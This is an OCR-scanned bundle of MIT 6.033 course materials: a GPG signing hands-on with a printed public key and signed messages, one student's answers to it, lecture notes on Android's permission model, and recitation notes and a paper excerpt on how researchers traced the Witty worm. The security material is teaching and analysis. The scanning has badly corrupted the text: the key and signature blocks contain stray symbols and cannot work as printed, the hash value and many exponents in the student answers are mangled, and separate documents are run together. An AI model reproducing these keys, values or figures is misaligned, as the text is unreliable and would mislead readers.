routines for the management of keys. It also interoperates with network of so-called key servers on the Internet on which people can publish their
public keys.

GPG operates under the web of trust model. In this model you trust a certificate because it is vouched for by someone whose identity you already
trust. You may contrast this with the certificate authority model, where a centralized third party, such as Verisign, vouches for the authenticity of a
certificate,

To complete this part of the hands-on you will need a copy of GPG. You can log in to Project Athena and type add gnu, as there is a copy of GPG
in the Athena "gnu" locker. Alternatively, you can download a copy of GPG from GNU privacy guard and install it on your own computer.

To learn about GPG's commands type man gpg and gpg --help. Note: it is a good idea to try both of these commands, because each one will
teach you something different about GPG.

You can use GPG's - -version command to discover the transformation algorithms, ciphers, and hashes that it supports.
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The following questions make use of GPG Key BD18CA24 which was created especially for this course and uploaded to the GPG key server
pgp.mit.edu You will need to obtain the public key BD18CA24 and add it GPG's database of public keys, which the program calls its key ring.
You can either download the key from the key server using the GPG command gpg --keyserver pgp.mit.edu --recv-keys BD18CA24 or else
you can copy the key below, run GPG with the - - import command, and paste the key into GPG's standard input.

Here is the GPG key:

Version: SKS 1.1.0

mQENBEVWg7ABCADWEhKIQPEVJII4z7WI9YPZt LAvCcPHZUbuhKNyNO6modqrkx9/qawoglTC1Q
SNwN8c2P5GbuBPUM3gIWGWQ44dPbpQKaHqkOXx6YsFvg0iwASEBEFt1sxIg4aYiL181wzARV2g
PnfxnyT4aM/LhNgHi2vDm6KkGABIzoocQBE51Z9MAMXX1aXTOSp1MKyYJ2cGR/OHINIwKQ6g
wc+Ta88gQX0PY£YLEUNDQajSrKFj611VAcVL4 ThxH+jNfs2C24DvybW0pvUPBX0OTBc/ 3aTG
csWeg8rkmgRXWHSruQDS8+jd9L3ajxjRsBYDZk0£ME 0v/r9QmxsvX8wDjWoln+kgxlkjABEB
AAGORU1JVCA2LjAzMyBzcDIWMTAgKEtleSBmb3IgaGFuZHMtb24gIzYgLSBDenlwdG8pIDw2
LjAzMylzdGFmZkBtaXQuZWR1PokBPQQTAQgAJWUCSSaDsAIbAWUTAJ4 0AAULCQGHAWUVCgkI
CWUWAgMBAAIeAQIXgAAKCRC1dt FhvRjKJPuXB/0aDL6F3jbRwA9fpAapm3SohQCYWRUYYF1b
IsRIp0t3g6b2tSxE+tGFCE6RYELi7TwW9zZEZEpnapTCoKkWn45ir7M7g7hebxct 03S3U0QQ93x
drGuOBDt i+EARXXyriDSdnjFI8zRK1PPRbDGI1W8i5IQt47wJIUSPg88AugIKneMw,/WDoKgtK
AD3srénulfNdpflXcqL2nn9z0HSSoPPneCIKwTh2WYS]j90gra0zXXZe89sJyGjOCglzBWsvD
cvGNP1gpfKVPZBceYY5J682FutbhjOXxJmlDB5RO8haXzEEiC28687CPhn9YSaC3mUwuayvI
SsqdPs14C1lvFFcR7Zwk/iQIcBBABCAAGBQUL10SCAACJEENYZf+VYWMQCTCP/Rr11TNcDEZ9
VOtHizeN1A3AH2ZRI1MKushxNLjWbhzgRVa2NV//oGvbRINsbYVVTDAnwzkcgnamBmRhocoU
JelOCLys3akYjCWU3istNKC5ggvTM+AEMYEXHiCEP8JGhi4KmRO6xmQ/ rosCaUH1uZp4S0SZ
NzBUa/PVFHYC3c+9hRdYuilUg8bz5d/ialw55s+w6LTUF70McVI0] 1UhQUZeMIAMEGZ1STN+8
Ow4CvpSNEE£OTTHI3jGOylyDoQUsTx]jQyYG1H2h0OUAOP1KYNd/kQuCgRjDOZ5nt hATOYRY g
Y6XcRVKrXuY¥i6752Jgk3MgFDjUrwvu/n3C3FQLB8MC1EPgsB+TwbXB8eECWbL9+22ZKcb6r/Gsd
Hrms9bWgsRrQzxLQkoLMnERo3TQzgrZ2rfrjTz8uAZhvalFDWImEcbL/ fbxkrQgbS+£q6jrD
TYD5/bgzEJK+hMQW0CCzG93cQ3NobSOGEXEHFFEHO7IERnae+kKEhSGL5Q+xAgy/E3zGwLns
CUb4N7GZWmQBD00G4KcQsgD/OKSmARbH3nasSj 2JX4 +9mxhp/Wpne+4b2eQmFeQEdSuA3Bnmk
zjwXIRzZNLgSMSJcU9jri24KYPKSaaHXMeECp]j 2LbxyTqebFm60iuRIC69rkPGoVXcc4U54Wg
UrTxn0G+FVR7jexT740077FAuQENBEvVWg7ABCADrZx/G3I1080dhLXQbWrYHecgkLZ7+VsILkM
Kahmr5LwwlXZzB7bExYczDOm3uiskYrFOqyLQQKZXsX3g8UsHIiPKVp8eNJaXc4StVUTLGFS
blAj6nAOTEgMcEWOWncbua2cHH1IM0ZZ79MLg72v0AKaY/mTOEFOgNYNE6eWT8J1bWS2yavHES
K9FHE ENxW40+XT5ZEn3+RhT]j 6gGwlBU7p/0oG2MaTnaoLfs/4j4SnyeEANgGITvnXMNQEHVeim
D+JkS5GbHN+CIRRS5MCL5zEV1gGuQ9pnk IEy+91b2absDdnd/AnJpHQssLL157KURYUUTCNG
WOQh2Yrb4cosj+yDrm9/ABEBAAGJASUEGAEIAASFAkVWg 7TACGWWFCQCeNAARACgkQEXbRYDOY
yiTIqggApGDWX16IVmtal+Lpk86upHYESnw/x600NSvw7jWoJ+5AQfTdBv1gOaxrCTYoirns
ORKMFZkuGVngvDnGArdBmJXmTtKeSSgoO0HHesDmCgwU4 jeqexF7tMk 1nxcUoB9pod fEEpRVW
Ek/I1tNb/vTpWQUOrywPXTI3vNnBq0z1FCiaD+FT1bXHT6fZVtmHgt vQYXQ2Epa/n7QtHWrd
gtsEVSW+EKKM1oFpewJFJ45dISTzorxkBX9Sy4UyQWSCELincsIKpCy]jzCYnFTazrwd4EZnbO
FKuaml6K7SRNtEua910+7nDb4nfF096tQo2DnfWxonPfef5bI9x2sP0r57TVLA==

=zj0Uu

----- END PGP PUBLIC KEY BLOCK-----

GPG keys can be used for signing documents or for signing other keys. By convention, signatures on documents are used to verify the document's
author and to demonstrate that the document has not been modified since it was signed. Signatures on keys mean that the person signing the key is
making an affirmative statement that a given public key really belongs to the person whose name is embedded inside the key. Keys with signatures
binding them to names are called certificates. (See sections 11.5.1 and 11.7.4 of the notes.)

GPG supports supports a signature format called clear signature in which the signature appears at the bottom of the message. The course locker
contains two messages that have GPG clear signatures at the bottom. Both documents were signed with the key that we created for this course, but
one of the documents was modified.

| Document #1:
liﬁenanw:kmit/ﬁ.033/www/assignments/gpg—messagel.txt.asc

I URL: |http://web.mit.edw/6.033/www/assignments/gpg-message 1 .txt.asc

Contents: |----- BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

This is a message that was signed with GPG!
————— BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (Darwin)

iQECBAEBCAAGBQIL10eUAAOJELV20WGSGMOkKDOIAJkUVhE POUIGiA37SBES2gKL
Z£eTKySkQolFxnpEsUBPDSiY4H9F1w9jR3z/8bj1bvWTN1Pzy61 jmmGboICqnpES
PRuhdyrVrleqrn815RXEW4VZIMT7zbbdvQEhXRLEQZOWKck ZHTjNvmE sVvYQvSdKR
£G7rIram+fArvaL+1jdlp£Stn7lyPBpyKgKG444wc98q55proXZDUy 1 10XNUHS Oy
OvGdkEdSunAdfgn3FlysJiM/S8SA+5A2 fwlXRGMAWr6JHRCWGS5QS1tudqV36z6z9
YWIjkTuNYojtFuhbCOSAAXI1WBV3SpG1RBcZaDUVOpPO1QViN+1X0gx5yqAMDgwY =
=JL7x

{ Document #2:
Fﬂenanm:Vmitls.033/www/assignments/gpg-message2.txt.asc

URL: |http://web.mit.edu/6.033/www/assignments/gpg-message2.txt.asc
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Contents; |----- BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

This is not a message that was signed with GPG!
----- BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (Darwin)

iQECBAEBCAAGBQJIL1oedAACJELV20WGIGMok010IAKt VZVYEe0GDYKjr8cpjjlal
SgxL6RMRSCBcMIkkW1gBIpN25pdxgWLmiCQfFTe8Ro4Bu3nfmik4g+0JhiRUB1dX
0UlxZzmDknf 8bRoblpLDmtgnDisX+gDp0C+DBYSNpW5SICr2EZodMmbyewldLbsH9
2rI¥n+yoRdMv4jX££VC41E£D+cukOXn8+AKK/mviwAnGHD8 PPxvNEMEDbgI8sh6YA
SvRSprefEsSKEsC2eM4kwI3dv5d+JIngtRveD2dR0+yWRDz27dImVGvV4ap/RVDNt4
VjEbiAbWgG97+0Ab/SpW3IRBWNcnPmSyAK60UapS fcv8BQyHwhOaoxfmt L2DZ1dY=
=MV30

Question 3.1: In three sentences or less, describe how signing is different from sealing.

Question 3.2: Check that you have imported the key by using the GPG --1ist-keys command. What is the email address associated with the
key?

Question 3.3: One of the above documents was modified after it was signed. Tell us which one! Show the output from GPG that proves your
assertion.

Question 3.4: Given your knowledge of signing, explain what information must be stored in the PGP signatures of the above messages?

Question 3.5: Someone has signed key BD18CA24, verifying its identity. Whose signature is on this key? (Hint: You may need use --1ist-sigs
and to access the key server to download additional keys to answer this question.) How do you know that the signature is legitimate? Can you trust
that key BD18CA24 was really made for this course? Why or why not?

Question 3.6: Download key 0B72EBOF from the key server. Whose key is this? Can you trust this key because you got it from the official MIT
key server? Why or why not?

Question 3.7 (optional): On Debian/Ubuntu systems with the debian-keyring package installed (linerva.mit.edu is an example), you can find a
trust path to any key in the strong set of keys, since the debian-keyring lists the keys of Debian developers and is verified by the system when it is
installed. You can list the keys (there are a lot) with:

gpg /usr/share/keyrings/debian-keyring.gpg

Find a trust path from a key in the debian-keyring to the handson key BD18CA24 and list the key ID, name, and email address of keys along the
path. (http://pgp.mit.edu might be helpful for browsing signatures.)

Go to 6.033 Home Page
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Hands-on 7: Crypto

Michael Plasmeier

Part 1
1. About 12 days

2. About 1% 10%° years
3. About 7 * 10* lives of the Universe

4. It would still take about 1 * 107 billion years.
5. Around 82 to 83 years ¥;_, 2 * 1,000,000 # 60 % 60 24 * 365 * 1.5

6. Isitsince 128 bits would take too long to crack anyway that additional bits don’t buy extra
security?

Part 2
1. €c29518134a6b47563b1ed411b7401a52cOB1996a4

2. Every user that calculates the SHA1 of this string will have the same result. | suppose you are

asking for the chance any other string will collide with this. There are 21%%possible outputs. Say

- - a
there are 20,000 computers at MIT, each with 10,000 files. This means there are % =

1 * 10~*chance there will be a collision somewhere at MIT.

3. It would take 4 * 103% years if you could do 1 million checks a second.

Part 3
1. Sealing prevents other people from viewing the document; it completely hides the plain text.
Signing indicates that the message has not changed; it appends they key to the end of the plain
text.

2. 6.033-staff@mit.edu

3. Signature 2 is bad. This could mean that it was modified after it was signed. (Signature 1 has
expired, by the way.)

gpg: Signature made Tue 27 Apr 2010 ©02:43:32 AM EDT using RSA key ID
BD18CA24

gpg: BAD signature from "MIT 6.033 sp201@ (Key for hands-on #6 -
Crypto) <6.033-staff@mit.edu>"



4. The message must be included in the signature! Itis hashed and used in the signature. The date
is also probably included. The signature is generated with the private key of the user, who
indicates who signed it.

5. Chris Post <ccpost@mit.edu> signed the key. His key was signed by about 43 other keys.
Depending on the legitimacy of these keys, this is a good sign that they key is valid. If | knew
that Chris was a member of the course staff, | could know that the BD18CA24 key is valid.

6. The key claims to be Barack Hussein Obama (DOD) <president@whitehouse.gov>. It does not

matter that you got it from the MIT key server. It matters who signed the key. The key is only
self-signed.
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L23: Mobile code security

Nickolai Zeldovich
6.033 Spring 2012

Summary

« Mobile code: Javascript, Flash, phone apps, ..
« Mechanism vs. policy

« Case study: Android security model

Flis
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6.033 2012 Lecture 23: Mobile code security é;, gf]

Topics:
Mobile code
Unix security model
Android security model
Mechanism vs policy

Mobile code.
Goal: safely run someone else's code on user's computer.
Many use cases.
Javascript.
Flash.
Downloaded programs on a mobile phone.

Threat model.
Worst case scenario: assume the code user is running is malicious.

Code is designed to compromise user's system.

How realistic is this?

User may be tricked into visiting a malicious web site.

That web site will run malicious code in your browser.

Spam email may trick user into clicking on link to malicious site.

Malicious site could buy an advertisement on CNN.com.

Adversary's page loads when user visits CNN.com.

On mobile phones, users can also be misled to install a malicious app.
Adversaries purposely create apps that match popular search terms.
Mimic existing popular applications.

Today's case study: security on Android phones.

Policy / goal:
Secrecy: user's data should not be disclosed.
Integrity: user's data should not be corrupted.

Strawman: use virtual machines.
Mobile phone runs a virtual machine monitor (VMM).
Each application runs in a separate virtual machine.
User's data stored in each application's VM.
E.g., phonebook VM stores user's contacts, email VM stores messages, etc.
VMM ensures isolation between VMs.
Strong isolation in case of malicious applications.
Problem: applications may need to share data.
E.g., mapping app might want to access the phone's location (GPS).
E.g., phonebook app might want to send one entry via user's gmail account.
E.g., Facebook app might want to add an entry to the phone's calendar,
if user accepts an invitation to some event via Facebook.

Goal: controlled sharing.
Applications should be able to interact (with each other, with user's data,
with phone's resources, etc), but only according to policy.

Strawman: use Unix security mechanisms.
Principal: each user is assigned a 32-bit user ID (uid).
0S keeps track of the uid for each running process.
Objects: files.
Operations: read/write file.
Authorization: each file has an access control list.

[ demo ]
nickolai% cd /tmp
nickolai% id -u
nickolai% echo hello > f.txt
nickolai% 1ls -1 f.txt

5/12/2012 6:54 PM
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nickolai% l1ls -1n f.txt

n% cd /tmp

n% id -u

n% cat f£.txt

n% echo hi > f.txt

nickolai% chmod o+w f.txt
nickolai% 1ls -1n f.txt

n% echo hi > f£.txt
n% cat f£.txt

Can we enforce our mobile code policies on a typical Unix system?
Hard to do: Unix mechanisms designed to protect users from each other,
on a computer with many users.
All user's processes run with the same uid.
All user's files are accessible to that uid.
Any program would have full access to user's system.
Mismatch between available mechanism and desired policy.

How to do better?
Define an application model where security mechanisms fit our policies.

Goals for a better application model.
Arbitrary applications, with different privileges.
Might want apps to be the principals, rather than the user.
Arbitrary resources, operations.
Unix only protects files, and mechanism controls read/write.
Might have many kinds of resources:
- contacts in phonebook
- events in Facebook app
- GPS location
- photos in the camera app
Resources and operations defined by applications.
- modifying a contact
- scheduling a meeting in calendar
- responding to an event in Facebook app
Arbitrary policies.
Similarly defined by applications & user.

Android application model.
Applications have names (e.g., com.android.contacts).
Applications interact via messages, called "intents".
Each message (intent) contains:
- name of target (string)
- action (string)
- data (string)
Applications broken up into components that receive different messages.
Components are also named by strings.
Message targets are actually components.
E.g., "com.android.contacts / Database".

Security model.
Applications are the principals.
Security policies are expressed in terms of "permission labels".
Application defines permission labels.
Free-form string: e.g., android.perm.READ CONTACTS.
Application assigns a permission label to each component.
E.g., contacts db component labeled with android.perm.READ CONTACTS.
This specifies the permission necessary to send messages to that component .
Application specifies permission labels that it requires.
List of permission label strings.

2of5 5/12/2012 6:54 PM
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Each installed application maps to a list of permissions that it has.
Mechanism:

A can send message to B.C if A has B.C's permission label.

Principal: application.

Resource: component.

Operation: any message.

Policy: assignment of labels to components & applications.

Who decides the policy?
Server app developer decides what permissions are important.
Client app developer decides what permissions it may need.
User decides whether it's OK with granting client app those permissions.
To help user, server app includes some text to explain each permission.

Implementing Android's model.

All messages are sent via a "reference monitor" (RM).
RM in charge of checking permissions for all messages being sent.
Uses the mechanism defined above.
RM runs as its own uid, distinct from any app.

What ensures complete interposition?
Built on top of Linux, but uses Unix security mechanisms in new way.
Each app (principal) has its own uid.
Apps only listen for messages from reference monitor.
Linux kernel ensures isolation between different uid's.

Why check in the reference monitor?
Only party that knows the complete policy.
Client should not be trusted to make security checks.
Server may not know who's allowed to send it messages (user defined).

[ demo ]
% emulator @x
% adb shell pm list permissions -g | less

group:android.permission-group.PERSONAL INFO
permission:android.permission.READ USER_DICTIONARY
permission:android.permission.WRITE CONTACTS
permission:com.android.browser.permission.WRITE _HISTORY BOOKMARKS
permission:android.permission.BIND APPWIDGET
permission:com.android.browser.permission.READ HISTORY BOOKMARKS
permission:com.android.alarm.permission.SET_ALARM

show where the contacts database lives ]

adb shell

cd /data/data/com.android.providers.contacts/databases
ls -1

app 9 is uid 10009 ]

— 3 H -

# sglite3 contacts2.db
sglite> .tables
sqglite> select * from data;

cd AndroidDemo

less src/mit/six033demo/Demo.java

ant debug

adb uninstall mit.six033.demo

adb push bin/Demo-debug.apk /sdcard/demo.apk

Apps -> ASTRO -> File mgr -> /sdcard -> demo.apk -> install ]
Apps -> 6.033 demo ]

— — @ % o° o o

—

edit AndroidManifest.xml, uncomment permission ]
% ant debug

5/12/2012 6:54 PM
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% adb push bin/Demo-debug.apk /sdcard/demo.apk
[ Apps -> ASTRO -> File mgr -> /sdcard -> demo.apk -> install ]

[ Apps -> 6.033 demo ]

Broadcast messages.
May want to send message to any application that's interested.

E.g., GPS service may want to provide periodic location updates.

Android mechanism: broadcast intents.
Components can request any broadcast message to specific action.
But now anyone can subscribe to receive location messages!

Solution: think of the receiver as asking the sender for the message.
In Android's label model, receiver would need label for sender's component.
So, sender includes a permission label in broadcast messages it sends.
Message delivered only to components whose application has that permission.

Authenticating source of messages.
How can an application tell where the message came from?
E.g., android provides bootup / shutdown broadcast messages.
Want to prevent malicious app from sending a fake shutdown message.

Use labels: agree on a permission label for sending, e.g., system events.
Component that wants to receive these events has the appropriate label.
Only authentic events will be sent: others aren't allowed by label.

In practice, a number of applications get this wrong!

E.g., alarm service component.
E.g., settings app allowed anyone to toggle wifi, etc.

Delegation.
E.g., run a spell checker on a post you're writing in some app.
E.g., view an attachment from an email message.
Ideally want to avoid sending data around all the time.

Android mechanism: delegation.
One app can allow a second app to send specific kinds of messages,
even if the second otherwise wouldn't be able to send them on its own.
E.g., read a particular email attachment, edit a particular post, etc.

Implementation: reference monitor keeps track of all delegations.
Delegation complicates reasoning about what principals can access a resource.
May want to delegate access temporarily.

Delegation usually requires a revocation mechanism.

Authenticating applications.
Can one application rely on another application's names?
E.g., can my camera app safely send a picture to "com.facebook/WallPost"?
Not really: application names and permission names are first-come-first-serve.
Name maps to the first application that claimed that name.
Important to get naming right for security!

What goes wrong in the Android model?

Goal is achieved only if permissions are granted to trustworthy applications.
At best, Android model limits damage of malicious code to what user allowed.
Users don't have a way to tell whether an app is malicious or trustworthy.
Users often install apps with any permissions.

Manifest vs runtime prompts?
Trusted components have bugs.
Linux kernel.
Privileged applications (e.g., logging service on some HTC devices, 2011).

Can we enforce original goal (user's private data not leaked)?
Hard to enforce, because this property spans entire system, not just one app.
Strawman: prohibit any app that has both READ CONTACTS and INTERNET.
App 1 might have READ CONTACTS & export a component for leaking contacts info.

4 of 5 5/12/2012 6:54 PM
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App 2 might have INTERNET & talk to app 1 to get leaked contacts info.
Complementary approach: examine application code.

Apple's AppStore for iPhone applications.

Android's market / "Google play".

[ slide: summary ]

50f5 5/12/2012 6:54 PM
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Preparation for Recitation 23

Read the paper Exploiting Underlying Structure for Detailed Reconstruction of an Internet-Scale Event. This paper

describes how the authors analyzed the prqp_a%lre&f de identified the Host that started the
attack. Read the abstract, and Sections 1, 2, 3, and 4.

Computer wo i . A worm can be either benign or malicious. A malicious worm may
try to destroy some files on the infected machine or use the machine to mount a denial of service attack on some
Internet service, whereas a benign one uses the machine only to spread itself to other machines.

To infect a host, a worm exploits a security bug in the software running on that host. Once the worm infects a host,
it uses that host to contact new destinations and propagate to new victims, thus creating a propagation tree. As a
result worms propagate exponentially fast. One important characteristic of a worm is the method used for picking
new destinations. The most common way is to randomly pick IP a contact them to see whether they
prOpagating the worm to even more machifies. Some worms do not pick destinations randomly; they rather have a

hinUg These worms can propagate faster because they focus on
the vulnerable victims.
—

The paper uses a network telescope to'passively collect information about the Witty worm. A network telescope is
We. A big telescope may be monitoring a /8 address prefix, While a smatl one
y monitor a /24 prefix. Since IP addresses in the monitored space are not assigned to any Internet hosts, they

theoretically should not receive any traffic. But because worms and other Internet attacks tend to send traffic to

random IPs, in practice, an unused IP prefix receives a lot of attack traffic. The authors of the paper collected the
Witty packets received at all IP addresses in the monitored space and analyzed it to understand how Witty

propagated. \.N\Ml \[OJ @yﬁtnﬁ

While reading about Witty, try to answer the following questions:

1. How does Witty pick the IP address of the next destination? Aj‘l‘—*{ww
2. How did the authors identify patient zero (i.e., the machine that started the worm) alu 'h‘b ti‘
[

3. How could one change Witty to prevent the detection of patient zero?
4. Which factors affect how fast a worm propagates?

@%& 917

Questions or comments regarding 6.033? Send e-mail to the 6.033 staff at 6.033-staff@mit.edu or to the 6.033 TAs at 6.033-tas@mit.edu.

Top // 6.033 home //

5/5/2012 1:40 PM
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Exploiting Underlying Structure for Detailed Reconstruction of an
Internet-scale Event

Abhishek Kumar Vern Paxson Nicholas Weaver
Georgia Institute of Technology ICSI ICSI
akumar@cc.gatech.edu vern@icir.org nweaver@icsi.berkeley.edu

ob>

hO/U1 PAbstract

Network “telescopes” that record packets sent to unused blocks
of Internet address space have emerged as an important tool for
observing Internet-scale events such as the spread of worms and
mcmm spoofed source ad-
dresses. Current telescope analyses produce detailed tabulations
of packet rates, victim population, and evolution over time. While
such Tataloging is a crucial first Step 1T Studying-the-telescope ob-
servations, incorporating an understanding of the underlying pro-
cesses generating the observations allows us to construct detailed
inferences about the broader “universe” in which the Internet-
scale activity occurs, greatly enriching and deepening the analysis
in the process.

In this work we apply such an analysis to the propagation of
the Witty worm, a malicious and well-engineered worm that when
releafed i March 2004 infected more than 12,000 hosts world-
wide in’ls_miﬁmhow that by catefully exploiting the
structure of the worm, especially its pseudo-random number gen-
cration, from limited and imperfect telescope data we can with
high fidelity: ciﬁammmc at which each infectee in-
jected packets into the network prior to loss; correct distortions
in the telescope data due to the worm’s volume overwhelming the
monitor; reveal the worm’s inability to fully reach all of its po-
tential victims; determine the number of disks attached to each
infected machine; compute when each infectee was last booted,
to sub-second accuracy; explore the “who infected whom” infec-
tion tree; uncover that the worm specifically targeted hosts at a
US military base; and pinpoint Patient Zerg, the initial point of
infection, i.c., the IP address of the system the aftacker used to
unleash Witty.

1 Introduction

Network ‘telescopes’” have recently emerged as important
tools for observing Internet-scale events such as the spread
of worms, the ‘backscatter” of responses from victims
attacked by a flood of requests with spoofed source ad-
dresses, and incessant ‘background radiation” consisting
of other anomalous traffi ¢ [10, 14, 15]. Telescopes record
packets sent to unused blocks of Internet address space,
with large ones using /8 blocks covering as much as 1/256

’_—‘——_____/f

Wi

of the total address space. Durifg network-wide anomalous

events, such as the propagatign of a worm, telescopes can
collecta small ignifi cantsjice of the worm’s entire traf-
fi c. Previously, suchi 1ogs of worm activity have been used

to infer aggregate properties, such as the worm’s infection
rate (number of infected systems), the total scanning rate
(number of worm copies sent per second), and the evolu-
tion of these quantities over time.

The fundamental premise of our work is that by care-
fully considering the underlying structure of the sources
sending traffi ¢ to a telescope, we can extract a much more
detailed reconstruction of such events. To this end, we
analyze telescope observations of the Witty worm, a ma-
licious and well-engineered' worm that spread worldwide
in March 2004 in 75 minutes. We show that it is possible to
reverse-engineer the state of each worm infectee’s Pseudo-
Random Number Generator (PRNG), which then allows us
to recover the full set of actions undertaken by the worm.
This process is greatly complicated by the worm’s use of
periodic reseeding of its PRNG, but we show it is possible
to determine the new seeds, and in the process uncover de-
tailed information about the individual hosts, including ac-
cess bandwidth, up-time, and the number of physical drives
attached. Our analysis also enables inferences about the
network, such as shared bottlenecks and the presence or ab-
sence of losses on the path from infectees to the telescope.
In addition, we uncover details unique to the propagation
of the Witty worm: its failure to scan about 10% of the IP
address space, the fact that it initially targeted a US mili-
tary base, and the identity of Patient Zero — the host the
worm’s author used to release the worm.

Our analysis reveals systematic distortions in the data
collected at telescopes and provides a means to correct this
distortion, leading to more accurate estimates of quantities
such as the worm’s aggregate scan rate during its spread.
It also identifi es consequences of the specifi ¢ topological
placement of telescopes. In addition, detailed data about
hitherto unmeasured quantities that emerges from our anal-
ysis holds promise to aid future worm simulations achieve



a degree of realism well beyond today’s abstract models.
The techniques developed in our study, while specific to
the Witty worm, highlight the power of such analysis, and
provide a template for future analysis of similar events.

We organize the paper as follows. § 2 presents back-
ground material: the operation of network telescopes and
related work, the functionality of Witty, and the structure of
linear-congruential PRNGs. In § 3 we provide a roadmap
to the subsequent analysis. We discuss how to reverse-
engineer Witty’s PRNG in § 4, and then use this to estimate
access bandwidth and telescope measurement distortions
in § 5. § 6 presents a technique for extracting the seeds
used by individual infectees upon reseeding their PRNGs,
enabling measurements of each infectee’s system time and
number of attached disks. This section also discusses our
exploration of the possible infector-infectee relationships.
We discuss broader consequences of our study in § 7 and
conclude in § 8.

2 Background

Network Telescopes and Related Work. Network tele-
scopes operate by monitoring unused or mostly-unused
portions of the routed Internet address space, with the
largest able to record traffic sent to /8 address blocks
(16.7M addresses) [10, 22]. The telescope consists of
a monitoring machine that passively records all packets
headed to any of the addresses in the block. Since there
are few or no actual machines using these addresses, traffi c
headed there is generally anomalous, and often malicious,
in nature. Examplés of traffi c observed at network tele-
scopes include port and address scans, ‘backscatter” from

flooding attacks, misconfi gurations, and the worm packets
that are of immediate interest to this work.

The first major study performed using a network tele-
scope was the analysis of backscatter by Moore et al. [14].
This study assessed the prevalence and characteristics of
spoofed-source denial-of-service (DoS) attacks and the
characteristics of the victim machines. The work built on
the observation that most DoS tools that spoof source ad-
dresses pick addresses without a bias towards or against the
telescope’s observational range. The study also inferred
victim behavior by noting that the response to spoofed
packets will depend on the state of the victim, particularly
whether there are services running on the targeted ports.

Telescopes have been the primary tool for understand-
ing the Internet-wide spread of previous worms, begin-
ning with Code Red [2, 20]. Sifice, for a random-scanning
worm, the worm is as likely to contact a telescope address
as a normal address, we can extrapolate from the telescope
data to compute the worm’s aggregate scanning rate as it
spreads. In addition, from telescope data we can see which
systems were_infected, thus estimate the average worm
scanning rate. For high-volume sources,-w_e'?a'ﬁg—a_l-go es-

timate a source’s effective bandwidth based on the rate at
which its packets arrive and adjusting for the telescope’s
“gathering power”(p-ﬁjti—(;n of entire space monitored).

A variation is the distributed telescope, which monitors
a collection of disparate address ranges to create an overall
picture [1, 4]. Although some phenomena [6, 2]) scan uni-
formly, others either have biases in their address selection
[11, 12] or simply exclude some address ranges entirely
[5, 16]. Using a distributed telescope allows more opportu-
nity to observe nonuniform phenomenon, and also reveals
that, even correcting for ‘local preference” biases present
in some forms of randomized scanning, different telescopes
observe quantitatively different phenomena [4].

The biggest limitation of telescopes is their passive na-
ture, which often limits the information we can gather.
One solution useful for some studies has been active tele-
scopes: changing the telescope logic to either réply with
SYN-ACKs to TCP SYNs in order to capture the resulting
traffi ¢ [4], or implementing a more complex state machine
[15] that emulates part of the protocol. These telescopes
can disambiguate scans from different worms that target
the same ports by observing subsequent transactions.

In this work we take a different approach for enhancing
the results of telescope measurements: augmenting traces
from a telescope with a detailed analysis of the structure of
the sources sending the packets. One key insight is that the
PRNG used to construct ‘random™ addresses for a worm
can |€ak the internal state of the PRNG. By combining the
telescope data with our knowledge of the PRNG, we can
then determine the internal state for each copy of the worm
and see how this state evolves over time.

While there have been numerous studies of Internet
worms, these have either focused on detailed analysis of
the worm’s exact workings, beginning with analysis of the
1988 Morris Worm [7, 19], or with aggregate propagation
dynamics [23, 11, 18, 20, 13]. In contrast, our analysis
aims to develop a detailed understanding of the individual
infected hosts and how they interacted with the network.

Datasets. We used traces from two telescopes, operated
by CAIDA [10] and the University of Wisconsin [22]. Both
telescopes monitor /8 blocks of IP addresses. Since each
/8 contains 1/256 of all valid IPv4 addresses, these tele-
scopes see an equivalent fraction of scan traffi c addressed
to random destinations picked uniformly from the 32-bit
IP address space. The CAIDA telescope logs every packet
it receives, while the Wisconsin telescope samples the re-
ceived packets at the rate of 1/10. The CAIDA trace [17]
begins at 04:45 AM UTC, running for 75 minutes and total-
ing 45.5M packets. The Wisconsin trace runs from 04:45
AM UTC for 75 minutes, totaling 4.1M packets.

Functionality of the Witty worm.  As chroni-
cled by Shannon and Moore [18], an Internet worm
was released on Friday March 19, 2004 at approx-
imately 8:45 PM PST (4:45 AM UTC, March 20).

A
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Send 20,000 copies of self to random destinations.
Open a physical disk chosen randomly between 0 & 7.
If success:

Overwrite a randomly chosen block.
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Figure 1: Functionality of the Witty worm

Its payload contained the phrase “(”.") insert
witty message here (".7)” so it came to be
known as the Witty worm. The worm targeted a buffer
overflow vulnerability in several Internet Security Systems
(ISS) network security products.

The vulnerability exploited was a stack-based overflow
in the ICQ analyzer of these security products. When they
received an ICQ packet, defi ned as any UDP packet with
source port 4000 and the appropriatcmaders, they
copied the packet into a fi xed-sized buffer on the stack
in preparation for further analysis. The products executed
this code path regardless of whether a server was listen-
ing for packets on the particular UDP destination port. In
addition, some products could become infected while they
passively monitored network links promiscuously, because
they would attempt to analyze ICQ packets seen on the link
even though they were not addressed to the local host.

Figure 1 shows a high-level description of the function-
ality of the Witty worm, as revealed by a disassembly [9].
The worm is quite compact, fi tting in the first 675 bytes of
a single UDP packet. Upon infecting a host, the worm fi rst
se&ds its random number generator with the ime
on the infected machine and then sends 20,000 copies of
itself to random destinations. (These packets have a ran-
dfn—l.f selected destination port and a randomized amount
of additional padding, but keep the source port fi xed.) Af-
ter sending the 20,000 packets, the worm uses a _three-bit
random number to pick a disk via the open sym
If the call returns successtully, the worm overwrites a ran-
dom block on the chosen disk, reseeds its PRNG, and goes
back to sending 20,000 copies of itself. Otherwise, the
worm jumps directly to the send loop, continuing for an-
other 20,000 copies, withaut reseeding its PRNG.

The LC PRNG. The Witty worm used a simple
feedback-based pseudo-random number generator (PRNG)

of the form known as lineqlwim

X;'.;.]_ =X1-*a+b mod m (1)

For a given m, mlues of a and b re-
quires care lest the resulting sequences lack basic_proper-
ties such as uniformity. One common parameterization is:
a=214,013,b= 2,531,011, m = 232,

With the above values of a, b, m, the LC PRNG gener-
ates a permutation of all the integers in [0, — 1]. A key
point then is that with knowledge of any X;, all subsequent

pseudo-random numbers in the sequence can be generated
by repeatedly applying Eqn 1. It is also possible to inyert
Eqn I to compute X if the value of X is known:

Xi=(Xit1 —b) * a”! modm

where, for a = 214,013, a~! = 3,115, 528, 533.

Eqns 1 and 2 provide us with the machinery to gener-
ate the entire sequence of random numbers as generated
by an LC PRNG, either forwards or backwards, from any
arbitrary starting point on the sequence. Thus, if we can
extract any X;, we can compute any other X;,, given n.
However, it is important to note that most uses of pseudo-
